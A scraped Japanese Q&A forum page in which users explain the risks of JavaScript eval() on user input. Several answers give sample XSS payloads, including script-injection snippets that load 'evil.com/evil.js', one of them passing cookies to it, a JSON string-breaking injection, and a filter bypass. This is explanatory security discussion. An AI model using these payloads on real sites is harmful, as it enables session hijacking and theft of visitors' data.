ついに夏本番!さぁ、家族でキャンプに行くぞ! >>

javascriptのeval()の危険性についての質問です。
下のようなページを公開したとして
<html>
<script>
function execstr(str){eval("(" + str + ")");}
</script>
<body>
<form action="#">
<input type="text" id="code">
<input type="button" onclick="javascript:execstr(this.form.code.value);" />
</form>
</body>
</html>

「ユーザーが入力したテキストをそのままeval()で評価実行するのは、悪意のあるコードがそのまま実行されてしまうので危険である」とされています。この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。

javascriptはクライアント側のブラウザーで実行されているものであり、そもそもローカルなリソースにはアクセス出来ないし、ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか?
クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。

このQ&Aに関連する最新のQ&A

A 回答 (8件)

おそらくPerlなど、CGIで使用する言語のevalと混同されていると思います。


私が知る限りeval()による危険性は1点を除きありません。
が、この危険性も、まともなコード(通常の動作が行えるコード)であれば勝手にセキュリティーホールも埋まる物です。
(それ以外にもいくつか考えられますが、現実的でない、または悪意(悪戯)を持ってeval()を使用しているという可能性の方が高い)

たとえば、このページで、 http://okwave.jp/qa4957775.html
ブラウザのアドレス欄に下記を入力してエンターキー/リターンキーを押すだけで、
テキストフィールドに入力したコードを、利用者が自由にeval()する事が出来ます。
自分でテキストフィールドに書いたスクリプトを自分で実行するだけなら、わざわざ制作者がeval()を用意する必要はありません。

javascript:(function(){scrollTo(0,0); var ipt=document.getElementsByName('kw')[0]; ipt.value='alert("hello");'; eval(ipt.value);})()


これは'alert("hello")'という文章を書いていますが、悪意のあるコードを書けばそれが実行されます。
とはいえ、サイト管理者しかページを更新できないなら、わざわざeval()を使わなくても、
HTMLファイルに<script>を書いてFTPでアップロードした方が手っ取り早いです。

サイト管理者以外の人がページを更新できる=BBSやブログのコメントの事ですが、
<script>タグを投稿できるかどうかというのと、eval()は関係ありません。
その<script>の中にeval()が使われていなくても、XSSコードやエクスプロイトコードは実行されます。

No.2でおっしゃってる事だと思いますが、
eval(document.getElementById('user-message').innerText);
などとしていれば、危険性が出るかもしれません。
が、こんなコード、誰も作らないでしょう。
(.innerHTMLにはHTMLタグが含まれるため、eval()で実行できません。
なお、Firefoxなどでは.innerTextではなく.textContentです。)


で、最初に書いた危険性の1つですが、
BBSなどの投稿文をAjaxやJSONPで受信している場合。

「こんにちは」というメッセージを投稿した人がいたとして、

////// XMLHttpRequest.responseText
postData={name: 'user', date: '2009-5-14', message: 'こんにちは'}

これをeval(responseText)して
document.getElementById('name').innerHTML=postData.name;
document.getElementById('date').innerHTML=postData.date;
document.getElementById('message').innerHTML=postData.message;
などとして表示している場合、

「'+(function(){XSSやエクスプロイトコード})()+'」

というメッセージを投稿した場合、(シングルクォーテーションと+記号が前後についている)
JSONデータが以下のようになりますので、

////// responseText
postData={name: 'user', date: '2009-5-14', message: ''+(function(){XSSコード})()+''}

このときにeval(responseText)によってJavaScriptが実行されます。

JSONPなら、

callback({name: 'user', date: '2009-5-14', message: ''+(function(){XSSコード})()+''});

こんな感じで受信したときに実行されます。
JSONPはeval()不要です。

XMLで受信して、
eval(responseXML.getElementsByTagName('post').nodeValue);
としてもJavaScriptは実行できます。
が、これらをわざわざeval()する人はいないと思うので、ほとんど問題にはならないでしょう。


これらのセキュリティーホールは、エスケープ処理で防げます。
BBSでは通常、<や>の記号を&lt;や&gt;に変換すると思いますが、
一緒に'をや\'に、"を&quot;に変換しておけば問題ないと思います。

postData={name: 'user', date: '2009-5-14', post: '+(function(){XSSコード})()+'}

SQLインジェクションの応用ですが、私が確認してるのはこれだけです。
(SQLインジェクションもダブルクォーテーションのエスケープ忘れによる物です)

ただ、普通に 「It's Fine!」 を投稿した場合、
postData={ post: 'It's Fine!' }
スクリプトエラーになって受信できなくなるので、通常はエスケープ処理するはずですし、
よほど手抜きをしなければ、この件のeval()による危険性はないと思いますが、
文字列をダブルクォーテーションで囲まれている場合、このバグに気づきにくいかもしれません。
(ダブルクォーテーションを1つだけ使った投稿をする事が少ないため。)

例)Hello!" を投稿(受信できないが、こういう投稿をする人が少ない)
postData={ post: "Hello!"" }
例)"+XSSコード+" を投稿(受信、実行される)
postData={ post: ""+XSSコード+""" }


> この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。
ウイルス性の物については「エクスプロイトコード」で検索してみて下さい。

> クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。
XSS(主にクッキー取得コード)は、SNSや通販サイトのプロフィール・商品送付先・請求先住所などの取得を狙うのが普通ですね。
個人のBBSではXSSよりも、ウイルス関連のコードが埋められる可能性が高いです。

この回答への補足

 javascriptで投稿内容を事前にeval()しても、そのページ自体を書き換えられる危険性はなさそうですね。要はPOSTされたコードを受け取るサーバー側のプログラムがしっかり対策すればよさそうですね。
 まさに、ここ「教えて!GOO」のページではいろんなスクリプトコードやHTMLのコードまで投稿されてますが坂内に安全に表示されてますね(HTMLは時々バグってるみたい)。

作ろうと思ったページは、javascriptのソースを投稿してもらい、投稿したjavascriptのコードを送信する前に、そのページで、evalを使って事前にプレビュー実行も可能(無理なコードがあるのも分かってます)とさせ、登録ボタンを押すとサーバー側のphpに送信します。
サーバー側のPHPはPOSTされたコードを、$_POSTからローカル変数に格納する際にエスケープして受け取りaddslashes()してテキストデータとして保存します。掲示版の内容は保存されたテキストデータより<xml>を作成します。投稿されたスクリプトを取り出し加工して、
<description>
<![CDATA[
スクリプトの内容
]]>
</description>
として出力します。
掲示板のページは、ロード時、リロード時にサーバーに掲示板内容のXMLを
ajaxで取りにいって、javascriptでパースしdom関数で編集して、<iframe>
の中に表示させます。--といった掲示板を考えたのです。
回答番号:No.2さん指摘のDos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。

補足日時:2009/05/15 19:23
    • good
    • 0
この回答へのお礼

詳細な解説ありがとうございました。
じっくり内容を理解してみます。
 考えてばかりいても、楽しくないので、まずはPCのxampで公開せずに作っていろいろ試してみようと思います。

お礼日時:2009/05/15 20:13

> No.7


こちらこそ、うだうだとすみません。

私が知らないだけで、eval()の危険性はあるかもしれません。
サイト管理者しか投稿・更新できないのであれば、サイト管理者が悪意のあるコードを投稿しなければ済むだけですが。

セキュリティー関係のサイトを見ていると、考えられないような(実行して下さいと言わんばかりの)コードを紹介していたりしますし、
実際に、<iframe>タグを投稿できるサイトもありましたから、
ともすれば、前の人の投稿内容が、記入欄に残っているようなサイトもあるかもしれません。
(投稿確認->戻る(投稿内容が記入済み)->ブラウザ終了->他の人が表示。で、前の投稿が残ってるとか?)
そうなれば、No.4に書かれたようなスクリプトを制作者が用意しておくだけでも、十分危険だと思います。

NO.6 最後のコード
これでもよさそう。(NO.4と同じになります)
当然悪意のあるコードが投稿されれば、それが実行されます。
<script>タグの投稿許可でも同じですが、
セキュリティーチェック(安全なコードかどうかの確認)もなしに投稿・実行を許可しているのであれば、危険な事は容易に推測できるはずですし、やはり狙ってるとしか思えないですね。

--------------------
<script>
function run(id){
eval(document.getElementById(id).innerText || document.getElementById(id).textContent);
}
</script>

<pre><tt id="post1">
ユーザーが投稿したスクリプト
</tt></pre>
<a onclick="run('post1');">実行</a>
--------------------


> XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。
言い忘れてましたが、JavaScriptそのものが影響する事はありません。
<script>onload=location.reload();</script>
でもやられたらともかく、
通常はウイルスの感染を狙いそのウイルスがサーバーを狙うので、むしろ多くのスクリプトがサーバーに影響する可能性があります。
    • good
    • 0
この回答へのお礼

talooさんありがとうございました。いろいろありそうなので、
当面、eval()するページと投稿するページは
まったくつながりの無いページとする事にします。
なにしろ、サーバーはレンタルしているので迂闊なページはつくれません。
ローカルでいろいろ試します。
ご意見、ご指導が、たくさんありそうなので、この質問は
クローズとします。
 疑問点がでたらまた投稿します。

お礼日時:2009/05/18 11:50

No.4です。



> No.5
丁寧な指摘有り難うございます。
仰ることはよくわかります。私が No.3 の補足をしっかりと読まなかったためにいろいろな部分で誤解していました。
もう少し注意深く読む必要があると反省しています。

> *例として出されているURLは実存するため、そういう所は使わない方が良いと思います。
確かに。今後気をつけたいと思います。

親切にありがとうございました。
    • good
    • 0

> No.4


> コードが掲示板のDBに登録されると、訪問者全員がこのコードを実行することになります。

アクセス時のコメント記入欄は真っ白なはずなので、その状態では、
eval(document.getElementById('コメント記入欄のID').value);
を実行しても、何も起こりません。

HTMLタグ(<script>タグと<textarea>タグ)を投稿できるなら
<script>eval(document.getElementById('test').value);</script>
の一文と<textarea>タグを投稿する事で、テキストエリアの内容を実行することが可能ですが、
その場合はeval()が問題なのではなく、<script>タグを投稿できる事が問題です。

<script>タグを投稿できるなら、<textarea>もeval()を使う必要はありません。

<script type='text/javascript'>
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "http://example.com/evil.js";
document.getElementsByTagName("head")[0].appendChild(s);
</script>

これを投稿すればいいだけです。

<と>を&lt;、&gt;に変換してあれば、
&lt;script&gt;eval(document.getElementById('test').value);&lt;/script&gt;
を投稿した事になりますから、eval()は実行できません。


> No.3
> 投稿したjavascriptのコードを送信する前に、そのページで、evalを使って事前にプレビュー実行も可能(無理なコードがあるのも分かってます)とさせ、登録ボタンを押すとサーバー側のphpに送信します。

> No.2
> ソースコードをPOSTされても受け取るPHPがエスケープした上で、記事として掲載するので、javascript側でevalしても投稿者以外はXSSされないと思います。
とのことで、お節介だと思いますが、

投稿時に1回実行できますが、悪意のあるコードを書いても、おっしゃるとおり単に自爆するだけですね。
他の人が表示したときは<textarea>の内容はクリアされているはずですから、他人のコードは実行出来ません。
という理由のため、eval()を使っても安全(他人に危害を加える事はない)と言えると思います。



要らぬお節介ついでに
他人が書いたコードをeval()できるシステムにするなら、それなりの処理は必要でしょう。
これは<script>タグを投稿できるのと同じです。
(evalの問題ではなく、「他人が投稿したコードを実行できるシステム」という設計が危険です)

私なら、別ページを用意して、<script>の中に直接書いてみます。

--------------------
<pre><tt>
ユーザーが投稿したスクリプトを実態参照に変換した物
</tt></pre>
<a href="1.html" target="iframe">このユーザーが投稿したスクリプトを試してみる</a>

1.htmlの内容
<body>
<script>
ユーザーが投稿したスクリプト
</script>
</body>
--------------------


eval()を使う場合はこんな感じでしょうか。

--------------------
<script>
function run(s){
eval(s);
}
</script>

<pre><tt>
ユーザーが投稿したスクリプトを実態参照に変換した物
</tt></pre>
<script>
var str1='ユーザーが投稿したスクリプト'; // 'を\/にエスケープするなどした物、面倒ならtextarea.valueでも可
</script>
<a onclick="run(str1);>このユーザーが投稿したスクリプトを試してみる</a>
--------------------


簡単な対策は、たとえばスクリプトの中では'://'という文字列を禁止にすると、
絶対パス・相対URL(同一ドメイン内)しかアクセスできなくなります。
*geocitiesやSNSなどのドメイン共用サイトでは使えません。
*string.replace('/://g') => コロンを削除する正規表現などが投稿できなくなります。
*c=':',s='/';src='http'+c+s+s+・・・や、ASCIIコードなどから文字列を生成していると投稿できます。


*例として出されているURLは実存するため、そういう所は使わない方が良いと思います。
    • good
    • 0

#4です。


#3の補足を改めて読み直しました。

作ろうとされているページの実装は問題ないと思いますので、#4は聞き流してください。
失礼しました。
    • good
    • 0

#2です。



> ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。
JavaScriptでコンテンツを流し込むということなのですが、ひょっとして前提が違うのでしょうか?
私が考えていた前提条件は「投稿者がポストしたコメントの内容を無条件に eval() する」というものです。
<textarea id='test'> の内容が eval() されると仮定すると、下記コードでscript要素を流し込めます。

<textarea id='test'>
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "http://evil.com/evil.js";
document.getElementsByTagName("head")[0].appendChild(s);
</textarea>
<script type='text/javascript'>
eval(document.getElementById('test').value);
</script>

コードが掲示板のDBに登録されると、訪問者全員がこのコードを実行することになります。
JavaScriptからはCookieを取得できるので、取得したCookieをGETパラメータで渡すことも可能だと思います。

> 回答番号:No.2さん指摘のDos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。
これが危険なのは不特定多数の訪問者からDOS攻撃をされることです。
攻撃者が一人ならIPアドレスでキックすればいいですが、evalで流し込まれると訪問者全員が(意図せず)DOS攻撃をします。
訪問者全てを拒否するわけにはいきませんから、DOS攻撃されうるコードは流し込めないように対策する必要があります。
    • good
    • 0

おそらく、XSSに似た問題だと思うのですが…。



1. 投稿内容を eval() する掲示板がある
2. 悪意ある投稿者が <script type="text/javascript" src="http://evil.com/evil.js?cookie=***"></script> をページに流し込むコードをポスト
3. 以降、そのページを訪れると evil.js が実行され、evil.com管理者にCookieを盗まれる
# オートコンプリートを使用していたら、ID,Passwordを盗まれるケースも…。

> ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか?
サーバ側とは「そのページを管理しているサーバ」のことでしょうか?
eval() で流し込まれたコードでF5アタックされるリスクが…ありますね。
(攻撃者自身がF5アタックするのではなく、そのページを訪れた第三者にF5アタックさせます。)

ただ、eval() を避ける理由は訪問者のリスクへの配慮の意味合いが大きいと思います。

この回答への補足

(eval() で流し込まれたコードでF5アタックされるリスク…ありますね。)
=>確かにそのページを管理しているサーバにDos攻撃される危険性がありますね。見落としてました。

Xss攻撃については
2. 悪意ある投稿者が <script type="text/javascript" src="​http://evil.com/evil.js?cookie=***"></script>​ をページに流し込むコードをポスト
=>ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。その掲示板のページはサーバー上にあるので、そのページ自体のソースの更新は不可能のはずです。ソースコードをPOSTされても受け取るPHPがエスケープした上で、記事として掲載するので、javascript側でevalしても投稿者以外はXSSされないと思います。

補足日時:2009/05/15 19:11
    • good
    • 0
この回答へのお礼

アドバイスありがとうございました

お礼日時:2009/05/15 20:15

まぁ、そのサンプルだったら、別に害はないだろう。



ただ、例えば不特定多数の人間が投稿できるような掲示板とかブログとかで、そうした甘い処理を書いてしまうと問題がある。例えば、JavaScriptで「クッキー情報を「http://○○/××.cgi?cookie=クッキー」みたいな形でURLに追加して別のサイトにジャンプするような処理を書いて投稿する。そのジャンプ先のサイトには、あらかじめ送られてきたクッキー情報を保存するような仕組みを用意しておく。

すると、そのページに誰かがアクセスすると、投稿したJavaScriptが画面に表示される際に実行され、アクセスした人間のクッキー情報を指定のサイトにジャンプして送りつけてしまう。そのサイトの人間は、すぐさま自分のブラウザのクッキー情報をそれにあわせて書き換えてアクセスすれば、盗まれた人間に成りすましてアクセスすることができる。これがクロスサイトスクリプティング(XSS)という攻撃。更に、SQLデータベースを利用しているような場合には、実行するSQL文を偽装する投稿を行い、すべてのIDやパスワードを表示させたりする攻撃もある。

というわけで、ただ単に画面に表示するというようなものであれば問題はないだろうが、送られた情報をどこかに保管し、表示したりするような処理になると、こうしたセキュリティの甘さは場合によって致命的になることがある、ということ。サーバーが壊れるとかいうことより、こうした攻撃で個人情報を盗めるという点が一番被害として大きい。例えば、オンラインバンクやオンラインショップにログインした人が投稿できる掲示板があったとして、そこでクッキー情報が盗まれたらどんなことになるか?と考えると恐ろしいことになる。

この回答への補足

解答ありがとうございます。
まだよくわかりません。頭がかたいもので....

例えば、私が不特定多数の人が書き込める掲示板のページを公開しているとします。掲示板の仕組みは、フォームよりテキストを入力してもらい、
サーバー側のPHPプログラムにPOSTして、サーバー側のプログラムが
POSTされたテキストを厳格ににエスケープしてDBに格納追記し、DBに格納されたテキストを出力している物とします。
この時、掲示板のページにサーバーにポストする以外に、入力されたテキストをそのままevalするコードが書いてあったとして、何故、投稿者以外の人の情報が盗まれるのですか?

補足日時:2009/05/14 14:25
    • good
    • 1

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人はこんなQ&Aも見ています

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

QJavaScriptde途中で、「exit」するには?

function kensaku(){
s_data = document.kaiin_form.input_name.value;

if(!s_data){ alert("キーワードを入れて下さい!"); }

if(s_data != dumy){ ...... }
for(i=st_no;i<=n;i++){
......省略.................;
.......省略................}
}

----------------------------------
3行目で表示されたアラートをOKで閉じても、4行目以下が実行されてしまいます。
3行目でexitするにはどうすれば良いでしょうか?

Aベストアンサー

>関数(kensaku())からは抜けられませんでした。
そうですね、勘違いしていました、f(^^;
すみません。
if(!s_data){
alert("キーワードを入れて下さい!");
return;
}
ですね。

QonClickに複数の関数を挿入する方法

初心者なのですがアニメーションの関数anime1、anime2、anime3を作成し、onClickに下記のように設定しました。
クリックするとアニメーション2つの設定ではは動くのですが、3つ目を設定すると動かなくなります。
通常はこのような設定はしないものなのでしょうか?
教えてください。
よろしくお願いします。
<INPUT type="button" value="START" onClick="anime1(), anime2()">・・・OKです。
<INPUT type="button" value="START" onClick="anime1(), anime2(),anime3()">・・・動きません。

Aベストアンサー

セミコロンでつなぐのが常道ですが、3つ以上なら
別途function化したほうが、可読性が高くなると
思います。

Qjavascriptでセレクトボックスの"selected"を動的につ

javascriptでセレクトボックスの"selected"を動的につける方法について質問させてください。

現在、以下のようなフォームを作成しました。

<select name='year'>
<option value='2010'>2010</option>
<option value='2011'>2011</option>
</select>年

<select name='month'>
<option value='1'>1</option>
<option value='2'>2</option>
<option value='3'>3</option>
<option value='4'>4</option>
<option value='5'>5</option>
<option value='6'>6</option>
<option value='7'>7</option>
<option value='8'>8</option>
<option value='9'>9</option>
<option value='10'>10</option>
<option value='11'>11</option>
<option value='12'>12</option>
</select>月

<select name='day'>
<option value='1'>1</option>
<option value='2'>2</option>
<option value='3'>3</option>
<option value='4'>4</option>
<option value='5'>5</option>
<option value='6'>6</option>
<option value='7'>7</option>
<option value='8'>8</option>
<option value='9'>9</option>
<option value='10'>10</option>
<option value='11'>11</option>
<option value='12'>12</option>
<option value='13'>13</option>
<option value='14'>14</option>
<option value='15'>15</option>
<option value='16'>16</option>
<option value='17'>17</option>
<option value='18'>18</option>
<option value='19'>19</option>
<option value='20'>20</option>
<option value='21'>21</option>
<option value='22'>22</option>
<option value='23'>23</option>
<option value='24'>24</option>
<option value='25'>25</option>
<option value='26'>26</option>
<option value='27'>27</option>
<option value='28'>28</option>
<option value='29'>29</option>
<option value='30'>30</option>
<option value='31'>31</option>
</select>日


このセレクトボックスに、例えば今日の日付"2010年9月30日"だったら、それぞれの年、月、日の<option>に"selected"をつけたいのですが、javascriptではどのようにして実現したら良いのでしょうか?

よろしくお願いします。

javascriptでセレクトボックスの"selected"を動的につける方法について質問させてください。

現在、以下のようなフォームを作成しました。

<select name='year'>
<option value='2010'>2010</option>
<option value='2011'>2011</option>
</select>年

<select name='month'>
<option value='1'>1</option>
<option value='2'>2</option>
<option value='3'>3</option>
<option value='4'>4</option>
<option value='5'>5</option>
<option value='6'>6</option>
<option value='7'>7</option>
<option value='8...続きを読む

Aベストアンサー

こんな感じで・・・

<script>
window.onload=function(){
var f=document.getElementById("f0");
var ymd=new Date();
checkSelect(f.elements["year"],ymd.getFullYear());
checkSelect(f.elements["month"],ymd.getMonth() +1);
checkSelect(f.elements["day"],ymd.getDate());
}
function checkSelect(obj,val){
for(var i=0;i<obj.length;i++){
if(obj[i].value==val){
obj[i].selected=true;
break;
}
}
}
</script>
<form id="f0">
<div>
<select name='year'>
<option value='2009'>2009</option>
<option value='2010'>2010</option>
<option value='2011'>2011</option>
</select>年

<select name='month'>
<option value='8'>8</option>
<option value='9'>9</option>
<option value='10'>10</option>
</select>月

<select name='day'>
<option value='29'>29</option>
<option value='30'>30</option>
<option value='31'>31</option>
</select>日
</div>
</form>

こんな感じで・・・

<script>
window.onload=function(){
var f=document.getElementById("f0");
var ymd=new Date();
checkSelect(f.elements["year"],ymd.getFullYear());
checkSelect(f.elements["month"],ymd.getMonth() +1);
checkSelect(f.elements["day"],ymd.getDate());
}
function checkSelect(obj,val){
for(var i=0;i<obj.length;i++){
if(obj[i].value==val){
obj[i].selected=true;
break;
}
}
}
</script>
<form id="f0">
<div>
<select name='year'>
<opt...続きを読む

Q外部ファイルにしたら文字化けしてしまいました

FC2ブログで下記【1】を

<script type="text/javascript">
<!--
【1】
// -->
</script>

で囲んで直接プラグインに書き込んだら
文字化けせずに表示されたのですが、

外部ファイルにして

<script type="text/javascript" src="【1】のJSファイルのパス"></script>

をプラグインに書き込んだら、
画像リンクはうまく表示されたのですが、
文字化けしてしまいました。

文字化けしない方法はないでしょうか?


【1】
// ランダムに画像を表示する
jmp = new Array();
img = new Array();
// ジャンプ先のアドレス(数字は画像と対応)
jmp[0] = "http://~";
jmp[1] = "http://~";
jmp[2] = "http://~";
jmp[3] = "http://~";
jmp[4] = "http://~";
// 画像のアドレス(数字はジャンプ先のアドレスと対応)
img[0] = "img/img1.jpg";
img[1] = "img/img2.jpg";
img[2] = "img/img3.jpg";
img[3] = "img/img4.jpg";
img[4] = "img/img5.jpg";
n = Math.floor(Math.random()*jmp.length);
document.write("<a href='"+jmp[n]+"' target='_blank'>");
document.write("<img src='"+img[n]+"' border='0'>");
document.write("</a>");

FC2ブログで下記【1】を

<script type="text/javascript">
<!--
【1】
// -->
</script>

で囲んで直接プラグインに書き込んだら
文字化けせずに表示されたのですが、

外部ファイルにして

<script type="text/javascript" src="【1】のJSファイルのパス"></script>

をプラグインに書き込んだら、
画像リンクはうまく表示されたのですが、
文字化けしてしまいました。

文字化けしない方法はないでしょうか?


【1】
// ランダムに画像を表示する
jmp = new Array();
img = new Array();
// ジャンプ先...続きを読む

Aベストアンサー

自分は5歳児だろうが主婦だろうが手は抜きません。


とりあえず試しに、

<script type="text/javascript" src="JSファイルへのパス" charset="Shift-JIS"></script>

~と言う風にしてみて下さい( charset="Shift-JIS" というのを付け足す)。それで文字化けが直るようなら、貴方のJSファイルの文字コードは「Shift-JIS」と言う事になります。FC2のBlogサービスですか?それでHPやBlogを作っているのなら、基本的には文字コードはサーバ側、つまりこの場合は「EUC-JP」に統一するべき~という事になります。

一般的に、Windowsの標準の環境だと。前段で述べた様な、様々な種類の文字コードを扱う事が出来ないので。事実上、作業は「Shift-JIS」1択と言う事になります。また『メモ帳(notepad.exe)』では「改行コード」を編集出来ないので、HTMLやJavaScript(JSファイル)を編集するには力不足です。何か特別なソフトとかを使わずに、Windows標準の『メモ帳(notepad.exe)』でJSファイルを編集したのであれば、十中八九、文字コードは「Shift-JIS」になっているはずです。


>文字コード
「文字コード」とは、コンピュータ上でテキストファイル(*.txt)をやり取りする時の方式の事で、現在では100種類近くの文字コードがあります。インターネット上でよく使われる文字コードは、「UTF-8」、「Shift-JIS」、「EUC-JP」~の3種類で、基本的にはこれだけ押さえておけばOKです。

考え方としては、日本語や英語のように。同じ意味を持つ文書でも色んな国の言葉で書く事が出来る様に。コンピュータ上での文書の表し方にも方言というか、色んな国の言葉がある様な物だと思ってて下さい。先に述べた「改行コード」や「BOM無し」とかは忘れて下さい。

で、初心者はコレだけ覚えて置いて欲しいのですが…

・半角英数文字だけなら文字化けは起きない

~と(実際は違いますが、話がややこしくなるので簡単にします)。半角英数文字ってのは「abc,?!#123456+-=」みたいな文字の事です。全角文字とは違うので注意して下さい(全角文字 → abc,?!#123456+-=)。従って逆説的に言えば「日本語を使う時は常に文字コードの影響を受ける」と言う事です。

自分は5歳児だろうが主婦だろうが手は抜きません。


とりあえず試しに、

<script type="text/javascript" src="JSファイルへのパス" charset="Shift-JIS"></script>

~と言う風にしてみて下さい( charset="Shift-JIS" というのを付け足す)。それで文字化けが直るようなら、貴方のJSファイルの文字コードは「Shift-JIS」と言う事になります。FC2のBlogサービスですか?それでHPやBlogを作っているのなら、基本的には文字コードはサーバ側、つまりこの場合は「EUC-JP」に統一するべき~という事になります。

...続きを読む

Qpingでポートの指定

pingでIPアドレスを指定して、通信できるかどうかというのは
よく使いますが、pingでポートを指定して応答するかどうかは調べられるのでしょうか?

よろしくお願いします

Aベストアンサー

pingを含むICMPというプロトコルは、OSIの7レイヤで言うところのL2(同一セグメント内通信)とL3(IPルーティングされた通信)の両方にまたがる、ちょっと珍しいプロトコルです。

IPアドレスは指定できますが、別サブネットに属するIPアドレスに到達できればL3通信、できなければゲートウェイと呼ばれる同一サブネットに属する中継装置からの回答を得るという点でL2(MAC通信ではなく、同一セグメント内通信という意味)通信です。

ポート番号はL4で使用されるアドレスですから、L4機能の疎通確認はping(を含むICMP)ではできません。

FTPの疎通確認であれば、クライアントからサーバに対するTCP/21通信(FTP-CMD)が可能であること(サーバからクライアントへのTCP/21からの応答を含む)+サーバからクライアントに対するTCP/20通信(FTP-DATA)が可能であること(クライアントからサーバへのTCP/21からの応答を含む)が必要でしょう。

監視ソフトによるものであれば、
・クライアントからサーバへのログイン(TCP/21)
・クライアントからサーバへのlsの結果(TCP/20)
で確認すればよいでしょう。

pingを含むICMPというプロトコルは、OSIの7レイヤで言うところのL2(同一セグメント内通信)とL3(IPルーティングされた通信)の両方にまたがる、ちょっと珍しいプロトコルです。

IPアドレスは指定できますが、別サブネットに属するIPアドレスに到達できればL3通信、できなければゲートウェイと呼ばれる同一サブネットに属する中継装置からの回答を得るという点でL2(MAC通信ではなく、同一セグメント内通信という意味)通信です。

ポート番号はL4で使用されるアドレスですから、L4機能の疎通確認はping(を含む...続きを読む

Qinterface,extend,implementのちがい

お世話になります、

Javaを勉強しているのですが、
interface,extend,implementの使い分けがわかりません。

私の解釈としては、
(1)interfaceは、グローバル変数の定義、グローバルメソッドの定義(実装はしない)。

(2)extendは、extendクラスを親クラスとして親クラスの機能を使用できる。

(3)implementは…,implementもextendと同じような意味だと解釈しているんですが、違う点は、implementで定義してあるメソッドは、使用しなくても、実装しなければならないという点でしょうか?

とにかくこの3つのを使い分けるコツとかあれば教えてください。
よろしくお願いします。

Aベストアンサー

バラバラに理解してもしょうがないッス。

まず、
(1)interface と implements
(2)class と extends

が対応しているわけっす。

JavaはC++と違って、比較的言語仕様を「簡単」にしたので「多重継承」という
概念がないです。
多重継承っていうのは、複数のクラスを親クラスにして継承するってことですね。

たとえば、 「TextFieldクラス」と「Japaneseクラス」を多重継承すると、
「JTextFieldクラス」ができるっていうのが自然な考え方でしょう?

まぁ、例えば、日本語クラスであれば、getStringLength()メソッドなどが
あったほうが良いでしょうか。
このgetStringLength()メソッドは、2バイト文字も1バイト文字も「1文字」
と数えてくれると言う点で、まさに、日本語クラス用のメソッドだと言えるでしょう。

例えば、Java的に記述すると、、、
class Japanese {
public int getStringLength() {
  ・・・
return strlength;
 }
 ・・・
}

class TextField {
・・・
}

class JTextField extends TextField, extends Japanese {
・・・・
}

C++ではそのように実装するでしょう。
しかし、Javaにはこのような高度な機能はありません。

そこで、生まれた苦肉の策が、「interfaceとimplements」です。

interface Japanese {
public int getStringLength(); // interfaceは実装を含まない!
                 // すなわち「実装の継承」ができるわけではない。
}

class TextField {
・・・
}

class JTextField extends TextField implements Japanese {
・・・・
public int getStringLength() {
  ・・・
return strlength; //implementsの実装を「各クラスで」実装してやる必要がある。
 }
}


結局のところ、Javaでは、複数のクラスを親クラスには持ち得ないため、継承できなかったクラスは「各クラスで実装してやる必要性」があるのです。


ではどのように使うのが効果的か?

なまえのままです。「代表的なインターフェイス」にたいしてinterfaceを使うのが良いと思います。

例えば、プレイヤー系であれば、ビデオ・コンポ・ウォークマン・などにかかわらず、
interface controlpanel {
public play();
public stop();
public next();
public back();
}
というような基本的インターフェイスを「持っているべき」です。

こうすることで、それぞれのクラス宣言の際に、これらの「インターフェイスを持っているべきであり、実装されるべきである」ということを「強く暗示」することができます。
class videoplayer extends player implements controlpanel {
public play() {・・・}
public stop() {・・・}
public next() {・・・}
public back() {・・・}
}

こうすることで、同様のクラスを作成するユーザーは、
「プレイヤー系は、4つ操作が出来るコントロールパネルをインターフェイスとして持つべきなのだな!?」という暗示を受け取り、自分のクラスでもそれを模倣するでしょう。

class mp3player extends player implements controlpanel {
public play() {・・・}
public stop() {・・・}
public next() {・・・}
public back() {・・・}
}

また、これらのクラスを使用するユーザーも、「implements controlpanel」という
表記を見て、「4つの基本操作は押さえられているのだな!」という基本中の基本動作を抑えることが出来ます。

まとめると、クラスに「こういう特徴もたしてください!」「こういう特徴持ってますよ!」という一種の暗示的警告や方向性を与えることができるわけですね。

バラバラに理解してもしょうがないッス。

まず、
(1)interface と implements
(2)class と extends

が対応しているわけっす。

JavaはC++と違って、比較的言語仕様を「簡単」にしたので「多重継承」という
概念がないです。
多重継承っていうのは、複数のクラスを親クラスにして継承するってことですね。

たとえば、 「TextFieldクラス」と「Japaneseクラス」を多重継承すると、
「JTextFieldクラス」ができるっていうのが自然な考え方でしょう?

まぁ、例えば、日本語クラスであれば...続きを読む

Qjavascript 変数名の連結をしたい

javascriptで、ある同じ処理をいくつも書くのですが
いくつも同じものを書かず、for等で繰り返させたいのです。
また、その際に変数名をばらばらにしたいのですが
そのやり方がいまひとつ良く分かりません。

//同じ処理を繰り返さず・・・
area1_flagA = 1
area1_flagB = 1
area1_flagC = 1
area1_flagD = 1

//繰り返し処理で
var area_array = [A,B,C,D];
for (var i in area_array){
 area1_flag+i(←連結したいができない) = 1
}

※実際はもう少し複雑な処理になります

そこで、変数名に変数名を連結させようとしたのですが
うまくいきませんでした。
どうすれば、上記のような
繰り返し処理を施すことが可能でしょうか。

Aベストアンサー

evalを使うのが手っ取り早いわね。

eval("area1_flag" + area_array[i] + "=1");

こんな感じ。

QonClickで関数呼出し後に、結果に応じてsubmitを実行する方法

JavaScriptで、
function func() {
 if (a==0) {
  alert("処理しない");
  return false;
 }
 return true;
}
と、a=0ならfalseを返し、それ以外ならtrueを返す関数を定義しています。

そして、FORMタグで
<FORM NAME="FormName" ACTION="next.html">
